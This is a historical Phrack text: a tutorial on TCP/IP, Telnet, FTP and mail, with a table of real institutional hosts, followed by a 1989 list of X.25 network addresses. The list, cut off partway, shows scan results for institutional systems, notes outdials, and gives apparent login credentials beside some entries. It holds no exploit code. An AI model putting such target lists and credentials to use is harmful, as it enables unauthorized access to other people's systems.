Some universities are already connected to older networks such as CSnet, the
ARPAnet and BITnet. In principal, any campus connected to any of these
networks can access anyone else in any other network since there are gateways
between the networks.

Gateways are specialized computers that forward network traffic, thereby
connecting networks. In practice, these wide-area networks use different
networking technology which make it impossible to provide full functionality
across the gateways. However, mail is almost universally supported across all
gateways, so that a person at a BITnet site can send mail messages to a
colleague at an ARPAnet site (or anywhere else for that matter). You should
already be somewhat familiar with this, but if not refer to;

"Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and
"Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)

Computer networks rely on hardware and software that allow computers to
communicate. The language that enables network communication is called a
protocol. There are many different protocols in use today. MIDnet uses the
TCP/IP protocols, also known as the DOD (Department of Defense) Protocol
Suite.

Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In
fact,

all the regional networks that are linked to the NSFnet backbone are required
to use TCP/IP. At the local campus level, TCP/IP is often used, although
other
protocols such as IBM's SNA and DEC's DECnet are common. In order to
communicate with a computer via MIDnet and the NSFnet, a computer at a campus
must use TCP/IP directly or use a gateway that will translate its protocols
into TCP/IP.

The Internet is a world-wide computer network that is the conglomeration of
most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and
the
regionals, such as MIDnet. To a lesser degree, other networks such as BITnet
that can send mail to hosts on these networks are included as part of the
Internet. This huge network of networks, the Internet, as you have by now
read
all about in the pages of Phrack Inc., is a rapidly growing and very complex
entity that allows sophisticated communication between scientists, students,
government officials and others. Being a part of this community is both
exciting and challenging.

This chapter of the Future Transcendent Saga gives a general description of
the
protocols and software used in MIDnet and the NSFNet. A discussion of several
of the more commonly used networking tools is also included to enable you to
make practical use of the network as soon as possible.

The DOD Protocol Suite
~~~~~~~~~~~~~~~~~~~~~~~~
The DOD Protocol Suite includes many different protocols. Each protocol is a
specification of how communication is to occur between computers. Computer
hardware and software vendors use the protocol to create programs and
sometimes
specialized hardware in order to implement the network function intended by
the
protocol. Different implementations of the same protocol exist for the varied
hardware and operating systems found in a network.

The three most commonly used network functions are:

Mail   -- Sending and receiving messages
File Transfer -- Sending and receiving files
Remote Login -- Logging into a distant computer

Of these, mail is probably the most commonly used.

In the TCP/IP world, there are three different protocols that realize these
functions:

SMTP   -- (Simple Mail Transfer Protocol) Mail
FTP   -- (File Transfer Protocol) sending and receiving files
Telnet -- Remote login

How to use these protocols is discussed in the next section. At first glance,
it is not obvious why these three functions are the most common. After all,
mail and file transfer seem to be the same thing. However, mail messages are
not identical to files, since they are usually comprised of only ASCII
characters and are sequential in structure. Files may contain binary data and
have complicated, non-sequential structures. Also, mail messages can usually
tolerate some errors in transmission whereas files should not contain any
errors. Finally, file transfers usually occur in a secure setting (i.e. The

users who are transferring files know each other's names and passwords and are permitted to transfer the file, whereas mail can be sent to anybody as long as their name is known).

While mail and transfer accomplish the transfer of raw information from one computer to another, Telnet allows a distant user to process that information, either by logging in to a remote computer or by linking to another terminal. Telnet is most often used to remotely log in to a distant computer, but it is actually a general-purpose communications protocol. I have found it incredibly
useful over the last year. In some ways, it could be used for a great deal of access because you can directly connect to another computer anywhere that has TCP/IP capabilities, however please note that Telnet is *NOT* Telenet.

There are other functions that some networks provide, including the following:

- Name to address translation for networks, computers and people
- The current time
- Quote of the day or fortune
- Printing on a remote printer, or use of any other remote peripheral
- Submission of batch jobs for non-interactive execution
- Dialogues and conferencing between multiple users
- Remote procedure call (i.e. Distributing program execution over several
                                 remote computers)
- Transmission of voice or video information

Some of these functions are still in the experimental stages and require faster
computer networks than currently exist. In the future, new functions will undoubtedly be invented and existing ones improved.

The DOD Protocol Suite is a layered network architecture, which means that network functions are performed by different programs that work independently and in harmony with each other. Not only are there different programs but there are different protocols. The protocols SMTP, FTP and Telnet are described above. Protocols have been defined for getting the current time, the
quote of the day, and for translating names. These protocols are called applications protocols because users directly interact with the programs that implement these protocols.

The Transmission Control Protocol, TCP, is used by many of the application protocols. Users almost never interact with TCP directly. TCP establishes a reliable end-to-end connection between two processes on remote computers. Data
is sent through a network in small chunks called packets to improve reliability
and performance. TCP ensures that packets arrive in order and without errors. If a packet does have errors, TCP requests that the packet be retransmitted.

In turn, TCP calls upon IP, Internet Protocol, to move the data from one network to another. IP is still not the lowest layer of the architecture, since there is usually a "data link layer protocol" below it. This can be any of a number of different protocols, two very common ones being X.25 and Ethernet.

FTP, Telnet and SMTP are called "application protocols", since they are directly used by applications programs that enable users to make use of the network. Network applications are the actual programs that implement these protocols and provide an interface between the user and the computer. An implementation of a network protocol is a program or package of programs that

provides the desired network function such as file transfer. Since computers
differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its
own implementation of these protocols. However, the protocols are
standardized
so that computers can interoperate over the network (i.e. Can understand and
process each other's data). For example, a TCP packet generated by an IBM
computer can be read and processed by a DEC computer.

In many instances, network applications programs use the name of the protocol.
For example, the program that transfers files may be called "FTP" and the
program that allows remote logins may be called "Telnet." Sometimes these
protocols are incorporated into larger packages, as is common with SMTP. Many
computers have mail programs that allow users on the same computer to send
mail
to each other. SMTP functions are often added to these mail programs so that
users can also send and receive mail through a network. In such cases, there
is no separate program called SMTP that the user can access, since the mail
program provides the user interface to this network function.

Specific implementation of network protocols, such as FTP, are tailored to the
computer hardware and operating system on which they are used. Therefore, the
exact user interface varies from one implementation to another. For example,
the FTP protocol specifies a set of FTP commands which each FTP implementation
must understand and process. However, these are usually placed at a low
level,
often invisible to the user, who is given a higher set of commands to use.

These higher-level commands are not standardized so they may vary from one
implementation of FTP to another. For some operating systems, not all of
these
commands make equal sense, such as "Change Directory," or may have different
meanings. Therefore the specific user interface that the user sees will
probably differ.

This file describes a generic implementation of the standard TCP/IP
application
protocols. Users must consult local documentation for specifics at their
sites.

Names and Addresses In A Network
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In DOD Protocol Suite, each network is given a unique identifying number.
This
number is assigned by a central authority, namely the Network Information
Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one
network from having the same network number. For example, the ARPAnet has
network number 10 while MIDnet has a longer number, namely 128.242.

Each host in a network has a unique identification so other hosts can specify
them unambiguously. Host numbers are usually assigned by the organization
that
manages the network, rather than one central authority. Host numbers do not
need to be unique throughout the whole Internet but two hosts on the same
network need to have unique host numbers.

The combination of the network number and the host number is called the IP
address of the host and is specified as a 32-bit binary number. All IP
addresses in the Internet are expressible as 32-bit numbers, although they are
often written in dotted decimal notation. Dotted decimal notation breaks the
32-bit number into four eight-bit parts or octets and each octet is specified

as a decimal number. For example, 00000001 is the binary octet that specifies
the decimal number 1, while 11000000 specifies 192. Dotted decimal notation
makes IP addresses much easier to read and remember.

Computers in the Internet are also identified by hostnames, which are strings
of characters, such as "phrackvax." However, IP packets must specify the
32-bit IP address instead of the hostname so some way to translating
hostnames
to IP addresses must exist.

One way is to have a table of hostnames and their corresponding IP addresses,
called a hosttable. Nearly every TCP/IP implementation has such a hosttable,
although the weaknesses of this method are forcing a shift to a new scheme
called the domain name system. In UNIX systems, the hosttable is often called
"/etc/hosts." You can usually read this file and find out what the IP
addresses of various hosts are. Other systems may call this file by a
different name and make it unavailable for public viewing.

Users of computers are generally given accounts to which all charges for
computer use are billed. Even if computer time is free at an installation,
accounts are used to distinguish between the users and enforce file
protections. The generic term "username" will be used in this file to refer
to
the name by which the computer account is accessed.

In the early days of the ARPAnet which was the first network to use the TCP/IP
protocols, computer users were identified by their username, followed by a
commercial "at" sign (@), followed by the hostname on which the account
existed. Networks were not given names, per se, although the IP address
specified a network number.

For example, "knight@phrackvax" referred to user "knight" on host "phrackvax."
This did not specify which network "phrackvax" was on, although that
information could be obtained by examining the hosttable and the IP address
for
"phrackvax." (However, "phrackvax" is a ficticious hostname used for this
presentation.)

As time went on, every computer on the network had to have an entry in its
hosttable for every other computer on the network. When several networks
linked together to form the Internet, the problem of maintaining this central
hosttable got out of hand. Therefore, the domain name scheme was introduced
to
split up the hosttable and make it smaller and easier to maintain.

In the new domain name scheme, users are still identified by their usernames,
but hosts are now identified by their hostname and any and all domains of
which
they are a part. For example, the following address,
"KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB".
However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn
part of the domain "EDU". There are other domains in "EDU", although only one
is named "MISSOURI". In the domain "MISSOURI", there is only one host named
"UMCVMB".

However, other domains in "EDU" could theoretically have hosts named "UMCVMB"
(although I would say that this is rather unlikely in this example). Thus the
combination of hostname and all its domains makes it unique. The method of
translating such names into IP addresses is no longer as straightforward as
looking up the hostname in a table. Several protocols and specialized network
software called nameservers and resolvers implement the domain name scheme.

Not all TCP/IP implementations support domain names because it is rather new.
In those cases, the local hosttable provides the only way to translate
hostnames to IP addresses. The system manager of that computer will have to
put an entry into the hosttable for every host that users may want to connect
to. In some cases, users may consult the nameserver themselves to find out
the
IP address for a given hostname and then use that IP address directly instead
of a hostname.

I have selected a few network hosts to demonstrate how a host system can be
specified by both the hostname and host numerical address. Some of the nodes
I
have selected are also nodes on BITnet, perhaps even some of the others that I
do not make a note of due a lack of omniscent awareness about each and every
single host system in the world :-)

- -
-

Numerical	Hostname	Location	BITnet
18.72.0.39	ATHENA.MIT.EDU	(Mass. Institute of Technology)	?
26.0.0.73	SRI-NIC.ARPA	(DDN Network Information Center)	-
36.21.0.13	MACBETH.STANFORD.EDU	(Stanford University)	?
36.21.0.60	PORTIA.STANFORD.EDU	(Stanford University)	?
128.2.11.131	ANDREW.CMU.EDU	(Carnegie Mellon University)	ANDREW
128.3.254.13	LBL.GOV	(Lawrence Berkeley Labrotories)	LBL
128.6.4.7	RUTGERS.RUTGERS.EDU	(Rutgers University)	?
128.59.99.1	CUCARD.MED.COLUMBIA.EDU	(Columbia University)	?
128.102.18.3	AMES.ARC.NASA.GOV	(Ames Research Center [NASA])	-
128.103.1.1	HARVARD.EDU	(Harvard University)	HARVARD
128.111.24.40	HUB.UCSB.EDU	(Univ. Of Calif-Santa Barbara)	?
128.115.14.1	LLL-WINKEN.LLNL.GOV	(Lawrence Livermore Labratories)	-
128.143.2.7	UVAARPA.VIRGINIA.EDU	(University of Virginia)	?
128.148.128.40	BROWNVM.BROWN.EDU	(Brown University)	BROWN
128.163.1.5	UKCC.UKY.EDU	(University of Kentucky)	UKCC
128.183.10.4	NSSDCA.GSFC.NASA.GOV	(Goddard Space Flight Center [NASA])	-
128.186.4.18	RAI.CC.FSU.EDU	(Florida State University)	FSU
128.206.1.1	UMCVMB.MISSOURI.EDU	(Univ. of Missouri-Columbia)	UMCVMB
128.208.1.15	MAX.ACS.WASHINGTON.EDU	(University of Washington)	MAX

```
128.228.1.2    CUNYVM.CUNY.EDU           (City University of New York)
CUNYVM
129.10.1.6     NUHUB.ACS.NORTHEASTERN.EDU (Northeastern University)
NUHUB
131.151.1.4    UMRVMA.UMR.EDU           (University of Missouri-Rolla)
UMRVMA
192.9.9.1      SUN.COM                  (Sun Microsystems, Inc.)
-
192.33.18.30   VM1.NODAK.EDU            (North Dakota State Univ.)
NDSUVM1
192.33.18.50   PLAINS.NODAK.EDU         (North Dakota State Univ.)
NDSUVAX
```

Please Note: Not every system on BITnet has an IP address. Likewise, not
              every system that has an IP address is on BITnet. Also, while
              some locations like Stanford University may have nodes on BITnet
              and have hosts on the IP as well, this does not neccessarily
              imply that the systems on BITnet and on IP (the EDU domain in
              this case) are the same systems.

              Attempts to gain unauthorized access to systems on the Internet
              are not tolerated and is legally a federal offense. At some
              hosts, they take this very seriously, especially the government
              hosts such as NASA's Goddard Space Flight Center, where they do
              not mind telling you so at the main prompt when you connect to
              their system.

              However, some nodes are public access to an extent. The DDN
              Network Information Center can be used by anyone. The server
and
              database there have proven to be an invaluable source of
              information when locating people, systems, and other information
              that is related to the Internet.
- -
-
Telnet

~~~~~~
Remote login refers to logging in to a remote computer from a terminal
connected to a local computer. Telnet is the standard protocol in the DOD
Protocol Suite for accomplishing this. The "rlogin" program, provided with
Berkeley UNIX systems and some other systems, also enables remote login.

For purposes of discussion, the "local computer" is the computer to which your
terminal is directly connected while the "remote computer" is the computer on
the network to which you are communicating and to which your terminal is *NOT*
directly connected.

Since some computers use a different method of attaching terminals to
computers, a better definition would be the following: The "local computer"
is
the computer that you are currently using and the "remote computer" is the
computer on the network with which you are or will be communicating. Note
that
the terms "host" and "computer" are synonymous in the following discussion.

To use Telnet, simply enter the command: TELNET

The prompt that Telnet gives is: Telnet>

(However, you can specify where you want to Telnet to immediately and bypass

the the prompts and other delays by issuing the command: TELNET [location].)

There is help available by typing in ?. This prints a list of all the valid
subcommands that Telnet provides with a one-line explanation.

Telnet> ?

To connect to to another computer, use the open subcommand to open a
connection
to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU",
do "open umcvmb.missouri.edu"

Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into
an
IP address and will send a packet to that host requesting login. If the
remote
host decides to let you attempt a login, it prompts you for your username and
password. If the host does not respond, Telnet will "time out" (i.e. Wait for
a reasonable amount of time such as 20 seconds) and then terminate with a
message such as "Host not responding."

If your computer does not have an entry for a remote host in its hosttable and
it cannot resolve the name, you can use the IP address explicitly in the
telnet
command. For example,

TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network
Information
                Center [SRI-NIC.ARPA])

If you are successful in logging in, your terminal is connected to the remote
host. For all intents and purposes, your terminal is directly hard-wired to
that host and you should be able to do anything on your remote terminal that
you can do at any local terminal. There are a few exceptions to this rule,
however.

Telnet provides a network escape character, such as CONTROL-T. You can find
out
what the escape character is by entering the "status" subcommand:

Telnet> status

You can change the escape character by entering the "escape" subcommand:

Telnet> escape

When you type in the escape character, the Telnet prompt returns to your
screen
and you can enter subcommands. For example, to break the connection, which
usually logs you off the remote host, enter the subcommand "quit":

Telnet> quit

Your Telnet connection usually breaks when you log off the remote host, so the
"quit" subcommand is not usually used to log off.

When you are logged in to a remote computer via Telnet, remember that there is
a time delay between your local computer and the remote one. This often
becomes apparent to users when scrolling a long file across the terminal
screen
nd they wish to cancel the scrolling by typing CONTROL-C or something similar.

After typing the special control character, the scrolling continues. The
special control character takes a certain amount of time to reach the remote
computer which is still scrolling information. Thus response from the remote
computer will not likely be as quick as response from a local computer.

Once you are remotely logged on, the computer you are logged on to effectively
becomes your "local computer," even though your original "local computer"
still
considers you logged on. You can log on to a third computer which would then
become your "local computer" and so on. As you log out of each session, your
previous session becomes active again.

File Transfer
~~~~~~~~~~~~~

FTP is the program that allows files to be sent from one computer to another.
"FTP" stands for "File Transfer Protocol".

When you start using FTP, a communications channel with another computer on
the
network is opened. For example, to start using FTP and initiate a file
transfer session with a computer on the network called "UMCVMB", you would
issue the following subcommand:

FTP UMCVMB.MISSOURI.EDU

Host "UMCVMB" will prompt you for an account name and password. If your login
is correct, FTP will tell you so, otherwise it will say "login incorrect."
Try
again or abort the FTP program. (This is usually done by typing a special
control character such as CONTROL-C. The "program abort" character varies
from
system to system.)

Next you will see the FTP prompt, which is:

Ftp>

There are a number of subcommands of FTP. The subcommand "?" will list these
commands and a brief description of each one.

You can initiate a file transfer in either direction with FTP, either from the
remote host or to the remote host. The "get" subcommand initiates a file
transfer from the remote host (i.e. Tells the remote computer to send the file
to the local computer [the one on which you issued the "ftp" command]).
Simply
enter "get" and FTP will prompt you for the remote host's file name and the
(new) local host's file name. Example:

Ftp> get
Remote file name?
theirfile
local file name?
myfile

ou can abbreviate this by typing both file names on the same line as the "get"
subcommand. If you do not specify a local file name, the new local file will
be called the same thing as the remote file. Valid FTP subcommands to get a
file include the following:

```
get theirfile myfile
get doc.x25
```

The "put" subcommand works in a similar fashion and is used to send a file
from
the local computer to the remote computer. Enter the command "put" and FTP
will prompt you for the local file name and then the remote file name. If the
transfer cannot be done because the file doesn't exist or for some other
reason, FTP will print an error message.

There are a number of other subcommands in FTP that allow you to do many more
things. Not all of these are standard so consult your local documentation or
type a question mark at the FTP prompt. Some functions often built into FTP
include the ability to look at files before getting or putting them, the
ability to change directories, the ability to delete files on the remote
computer, and the ability to list the directory on the remote host.

An intriguing capability of many FTP implementations is "third party
transfers." For example, if you are logged on computer A and you want to
cause
computer B to send a file to computer C, you can use FTP to connect to
computer
B and use the "rmtsend" command. Of course, you have to know usernames and
passwords on all three computers, since FTP never allows you to peek into
someone's directory and files unless you know their username and password.

The "cd" subcommand changes your working directory on the remote host. The
"lcd" subcommand changes the directory on the local host. For UNIX systems,
the meaning of these subcommands is obvious. Other systems, especially those
that do not have directory-structured file system, may not implement these
commands or may implement them in a different manner.

The "dir" and "ls" subcommands do the same thing, namely list the files in the
working directory of of the remote host.

The "list" subcommand shows the contents of a file without actually putting it
into a file on the local computer. This would be helpful if you just wanted
to
inspect a file. You could interrupt it before it reached the end of the file
by typing CONTROL-C or some other special character. This is dependent on
your
FTP implementation.

The "delete" command can delete files on the remote host. You can also make
and remove directories on the remote host with "mkdir" and "rmdir". The
"status" subcommand will tell you if you are connected and with whom and what
the state of all your options are.

If you are transferring binary files or files with any non-printable
characters, turn binary mode on by entering the "binary" subcommand:

```
binary
```

To resume non-binary transfers, enter the "ascii" subcommand.

Transferring a number of files can be done easily by using "mput" (multiple
put) and "mget" (multiple get). For example, to get every file in a
particular
directory, first issue a "cd" command to change to that directory and then an
"mget" command with an asterisk to indicate every file:

```
cd somedirectory
mget *
```

When you are done, use the "close" subcommand to break the communications link.
You will still be in FTP, so you must use the "bye" subcommand to exit FTP and return to the command level. The "quit" subcommand will close the connection and exit from FTP at the same time.

Mail
~~~~
Mail is the simplest network facility to use in many ways. All you have to do is to create your message, which can be done with a file editor or on the spur of the moment, and then send it. Unlike FTP and Telnet, you do not need to know the password of the username on the remote computer. This is so because you cannot change or access the files of the remote user nor can you use their account to run programs. All you can do is to send a message.

There is probably a program on your local computer which does mail between users on that computer. Such a program is called a mailer. This may or may not be the way to send or receive mail from other computers on the network, although integrated mailers are more and more common. UNIX mailers will be used as an example in this discussion.

Note that the protocol which is used to send and receive mail over a TCP/IP network is called SMTP, the "Simple Mail Transfer Protocol." Typically, you will not use any program called SMTP, but rather your local mail program.

UNIX mailers are usually used by invoking a program named "mail". To receive new mail, simply type "mail".

There are several varieties of UNIX mailers in existence. Consult your local documentation for details. For example, the command "man mail" prints out the manual pages for the mail program on your computer.

To send mail, you usually specify the address of the recipient on the mail command. For example: "mail knight@umcvmb.missouri.edu" will send the following message to username "knight" on host "umcvmb".

You can usually type in your message one line at a time, pressing RETURN after each line and typing CONTROL-D to end the message. Other facilities to include already-existing files sometimes exist. For example, Berkeley UNIXes allow you
to enter commands similar to the following to include a file in your current mail message:

```
r myfile
```

In this example, the contents of "myfile" are inserted into the message at this
point.

Most UNIX systems allow you to send a file through the mail by using input redirection. For example:

```
mail knight@umcvmb.missouri.edu < myfile
```

In this example, the contents of "myfile" are sent as a message to "knight" on "umcvmb."

Note that in many UNIX systems the only distinction between mail bound for
another user on the same computer and another user on a remote computer is
simply the address specified. That is, there is no hostname for local
recipients. Otherwise, mail functions in exactly the same way. This is
common
for integrated mail packages. The system knows whether to send the mail
locally or through the network based on the address and the user is shielded
from any other details.

                         "The Quest For Knowledge Is Without End..."
_____
     _

==Phrack Inc.==

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```
:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:
:.:                                           :.:
:.:  NUA-List For Datex-P And X.25 Networks   :.:
:.:                                           :.:
:.:                 by Oberdaemon             :.:
:.:                                           :.:
:.:                 April 9, 1989             :.:
:.:                                           :.:
:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:
```

_____

Key:

A   = successfully connected

B   = sources say that it works

C   = officially closed

D   = disconnected/no circuit or permanently busy

I   = illegal address or invalid call

O   = out of order

r   = R-NUA

T   = time-out

X   = sources say that it should work but it doesn't (or is permanently

       busy)

Y   = barred (=?)

Z   = sources say that it should not work

     = including the following digits gives you another number
n/a = not yet tested

?   = error on a subsequent communication system

Remark: I have also included some obviously misstyped NUAs which have been

        found in widely circulating lists. There are also numbers which do

        not form a valid NUA but a common prefix (e.g. 0202 2 Helpak).

Format: Each NUA in this list consists of the following fields:

```
|
|
|          cccc naa aaa aaa... oooo...       ddd....
|
|
|
|   cccc        is the country prefix (e.g. 0262 Germany). This prefix can be
|
|               omitted when calling and called party have both the same
prefix.|
|   naa        are the first three digits of the address. n often specifies a
|
|               certain network in that country.
|
|   aaa aaa... are the other digits of the address.
|
|   oooo...    are some extra digits/letters which should be added after the
|
|               NUA. The correct syntax depends on your PAD. This list uses any
|
|               syntax - usually depending on the notation the author of the
|
|               source used. The oooo... field is usually empty.
|
|   ddd...     is a short description of the service.
|
|
|
| If you find two NUAs who differ only in the number of trailing zeroes, but
|
| connect to the same service, you may safely throw away the longer one.
|
|
|
|   !!  Please note that most PADs don't accept spaces inside a NUA  !!
|
|
|_____|
```

```
   0200                    GR          Greece
   0202
   0202 2                               Helpak (enkelriktad trafik)
X 0202 452 241 24104
   0204                    NL          Netherlands
   0204 0                               Datanet (1?)
   0204 1                               Datanet (1?)
A 0204 129 001 3                        ? (Netz ?)
A 0204 129 001 4                        X.25
A 0204 129 003 1                        NONOBY
A 0204 129 003 4                        Searchline
D 0204 129 004 33       SARA        National Institute for High Energy Physics
                                         (NIKHEF) SARA network
D 0204 129 004 34       NIKHEF      National Institute for High Energy Physics
                                         (NIKHEF) SARA network
D 0204 129 005 6        MCVAX       MCVAX, HOLLAND
A 0204 129 005 675      HARING      MCVAX Line 2
   0204 129 400 2                        DUPHAR WEESP,HOLLAND
A 0204 134 014 80500                    Utrecht ?
   0204 303 0                            EPOIS EPO Den Haag
   0204 304 0                            DSAMISOOM SAMSON
```

```
  0204 4                             Dabas
  0206                    B          Belgium
  0206 2                             DCS
A 0206 210 300 003                   Eigebib
A 0206 222 100 6       BBDA          Brussels DEC A
A 0206 222 101 2       ?             Ministry of economic affairs
A 0206 222 102 6                     celex
A 0206 224 001 903     PRLB2         Belgium Unix Backbone
  0206 3                             Euronet
A 0206 228 821 0                     DGxiiiF
  0208                    F          France
  0208 0                TRANSPAC     French Transpac
A 0208 006 040 010                   Telesystemes 1
A 0208 006 040 201                   Telesystemes 2
A 0208 026 020 843                   ?
A 0208 034 020 036     CNUSC         CNUSC (France)
A 0208 034 020 258     CNUSC         CNUSC Montpelier
A 0208 038 020 100                   CICG Grenoble
A 0208 038 020 676                   ILL VEGA VAX 8700 VMS 4.7
I 0208 044 001 645                   ?
A 0208 057 040 540                   QSD (Chat system)
I 0208 069 021 258
A 0208 075 000 087     IRCAM         IRCAM-ERIK VAX 11/780 4.2 BSD
I 0208 075 000 355                   ?
I 0208 075 001 281*D   CCPN          Computing Centre Nuclear Physics
I 0208 075 002 314                   GRF
A 0208 075 020 655     LITP          LITP Unix 4.3 BSD (France)
A 0208 075 041 280                   Pasteur MV8000
A 0208 078 020 118     INRIA         INRIA, Rocquencourt (France) Multics
B 0208 078 020 16901   INRIA         Institute National de Recherche en
                                     Informatique
  0208 078 081 67304   INRIAUU       INRIA - UUCICO
I 0208 091 000 270*DCISICISI3        IBM - TSO
I 0208 091 000 309*DCISICISI1        IBM - TSO
I 0208 091 000 519*DCISICISI2        IBM - TSO
I 0208 091 010 320     CJRCE
I 0208 091 040 047     SACLAY        Saclay - France
I 0208 091 040 532                   Pascal
A 0208 091 190 258                   LURE, VAX 11/780 VMS 4.6, Synchrotron
                                     source (SES)
  0208 1                             NTI
A 0208 101              TEXTFRA      Text Generator, FRANCE
  0214                    E          Spain
  0214 1                SPAIN        Spanish data network (NID/CTNE)
  0214 5                             Iberpac
O 0214 521 202 5022
A 0214 521 302 1020                  ETSITM (EANNET) VAX 11/750 VMS 4.5
  0222                    I          Italy
  0222 2                             Itapac
A 0222 262 002 1       ESAIRS1       ESA-QUEST, IRS 1
I 0222 262 002 2       ESAIRS2       ESA-IRS 2
O 0222 262 003 2                     IASI VAX
A 0222 262 004 3                     VAXLNF (INFNET) VAX 8650
O 0222 263 200 4                     NUA-Information ?
A 0222 265 014 0                     Techni-Link
I 0222 306 3                         Progetto-Sirio
I 0222 306 700                       European Space Agency
I 0222 306 9*D         CNUCE         CNUCE
I 0222 307 0                         CILEA
I 0222 307 1                         CED Datenbanksysteme Rom
I 0222 307 2*D         RTC20         JRC
```

```
I 0222 307 7*D QUESTD5   ESA          ESA
D 0222 307 8*D QUESTD5   ESA2         ESA
  0228                   CH           Switzerland
D 0228 310 1*DN          DATASTAR     Data-Star, Switzerland
  0228 4                              Telepac
A 0228 462 110 0101                   Cigy IBMA
A 0228 462 110 0102                   Cigy DEC1091
A 0228 462 110 09                     EDP Basel
A 0228 462 110 23                     ?
A 0228 462 110 34                     ?
A 0228 462 110 36                     ?
A 0228 462 110 52                     DANZA'S 11/785 VMS 4.4
A 0228 462 110 61                     PKK node RBPK00
A 0228 462 110 66                     PROGNOS Basel (CIERR 1402)
A 0228 462 110 70                     ?
A 0228 462 110 84                     (CIERR 1402)
Y 0228 462 170 02                     INFOTEX PTT
I 0228 464 109 06                     GD PTT Schweiz (ring with CTRL G)
A 0228 464 110 10        DM           DATAMAIL (RSAG)
A 0228 464 110 110       DSTAR2       Datastar (2nd. Line)
A 0228 464 110 112                    RSAG
Z 0228 464 110 113                    RSAG
A 0228 464 110 115       DATASTAR     Data-Star, Switzerland (Pharmadatenbank ?)
A 0228 468 113 150                    Management Joint Trust
D 0228 468 114 05        CERN         CERN (=CERNXX?)
A 0228 468 114 0505                   CS Group LAVC on node UXCOMS
A 0228 468 114 0510      CER          CERN, Geneva
A 0228 468 114 0510      CERNVAX      CERN X25 Multigate
B 0228 468 114 0510*DLO  CERNLO       CERN 300 bps     OUTDIAL (where ???)
B 0228 468 114 0510*DME  CERNME       CERN 1200 bps    OUTDIAL (where ???)
B 0228 468 114 0510*DHI               CERN ?
A 0228 468 114 0514                   4.2 BSD UNIX (Mint)
A 0228 468 114 0515                   Cern LS Group LAVC VXGIFT
A 0228 468 114 0520                   Cern
A 0228 468 114 0532                   Cern
A 0228 468 114 0533                   L3 test beam VAX-750 VXC3
A 0228 468 114 0534                   UXINFN
A 0228 468 114 0538                   CS Group LAVC on node UXCOMS
A 0228 468 114 054                    Cern
A 0228 468 114 0545                   Cern
A 0228 468 114 0551                   VXCERN VMS 4.6
A 0228 468 114 0553                   VXCERN VMS 4.6
A 0228 468 114 0556                   VXCERN VMS 4.6
A 0228 468 114 0560                   CERN VXNA31
A 0228 468 114 0561                   CERN VXNA31
A 0228 468 114 0562                   L3 VAX 11/750 VXC3MU
A 0228 468 114 0572                   ISOLDES VAX 11/750
A 0228 468 114 0574                   ? (Operator)
A 0228 468 114 0581                   ?
A 0228 468 114 0583                   %Merit:X.25 (Merit Computer Network, see
                                      appendix)
A 0228 468 114 0584                   Develcon
A 0228 468 114 0587                   ? (Operator)
A 0228 468 114 0588                   ? (Operator)
A 0228 468 114 0589                   ? (Operator)
A 0228 468 114 0592                   Princeton University High Energy Physics
                                      Group Vax 11/750
A 0228 468 114 0593                   University of Michigan Physics Vax 11/750
A 0228 468 114 0596                   N.U. Physics Vax 11/750
A 0228 468 114 0597                   Harvard University High Energy Physics Lab.
                                      Vax 8650
```

```
A 0228 468 114 0598              MIT-LNS*PIERRE
A 0228 468 114 0599              DoD, Distributed Databases Coordination
                                  Center (JMILLER,X0TF3AP)
D 0228 468 114 18                BIOGEN (=GODEL?)
A 0228 468 114 23                EDCHUB::
A 0228 469 110 02                EPFL (something)
A 0228 469 110 0202              EPFL HELP
D 0228 469 110 0203              EPFL DE.VAX
D 0228 469 110 0204              EPFL GC.VAX
A 0228 469 110 0205              EPFL DP.VAX
A 0228 469 110 0206              EPFL ME.VAX
A 0228 469 110 0207              EPFL GR.VAX
A 0228 469 110 0208              EPFL MA.VAX
A 0228 469 110 0209              EPFL DI.VAX
D 0228 469 110 0210              EPFL IMAC.PDP
D 0228 469 110 0211              EPFL CGL.VAX
D 0228 469 110 0212              EPFL DE.MVAX
A 0228 469 110 0213              EPFL CC.VAX
A 0228 469 110 03                EPFL Cyber 855
Ar0228 469 110 0301              EPFL Cyber
A 0228 475 110 02                HSG St.Gallen
Ar0228 479 104 00                Cern
A 0228 479 110 23                I.P.Sharp (CA)
X 0228 479 110 86                KOMETH (ETH ZH)
A 0228 479 110 650               KOMETH (ETH ZH)
I 0228 479 111
A 0228 479 111 06                GRS
I 0228 479 111 086
I 0228 479 111 11
I 0228 479 111 18                ZEV-Mailbox Zuerich
A 0228 479 111 750               ComNet (R-Nua)
A 0228 479 311 49                KOMETH Output (ETH ZH)
A 0228 499 111 02001             KOMETH (Entry Uni)
  0228 9                         Radio-Suisse
  0232                    A       Austria
  0232 2                          Datex-P
O 0232 242 210 91
? 0232 242 211 42*DMAI           Sysnet Wien (Gast,Gast)
A 0232 252 310 000               Uni Wien
  0232 9                         Radio Austri
A 0232 911 602 323               Inpadoc
  0234                   GB       United Kingdom
  0234 1                 IPSS     IPSS UK network
A 0234 110 020 02018             BT DIALCOM GROUP (PRESTEL ?)
  0234 2                 PSS      PSS
  0234 198 061 60                Queen Marry C.
B 0234 207 920 002               SWVA
  0234 211 920 100515            Hostess Doc.
  0234 212                       Dialnet
O 0234 212 080 105
I 0234 212 080 110       EPSONUK  Epson (UK)
A 0234 212 300 120       DIALNET  IGS Leased line to DIALOG in US
A 0234 212 300 12011     DIALNET  LRS-DIALOG 2   Dialog via London
Ar0234 212 300 12013     DIALMRC  LRS-Dialmail   (Reverse Charging)
A 0234 212 300 120*D@    DIALNET  IGS Leased line to DIALOG in US
A 0234 212 300 2920               GeoNet GEO2
B 0234 212 301 161                OPTEL
  0234 212 301 186                GEOSYSTEMS
  0234 212 301 187                CAP GROUP LTD.
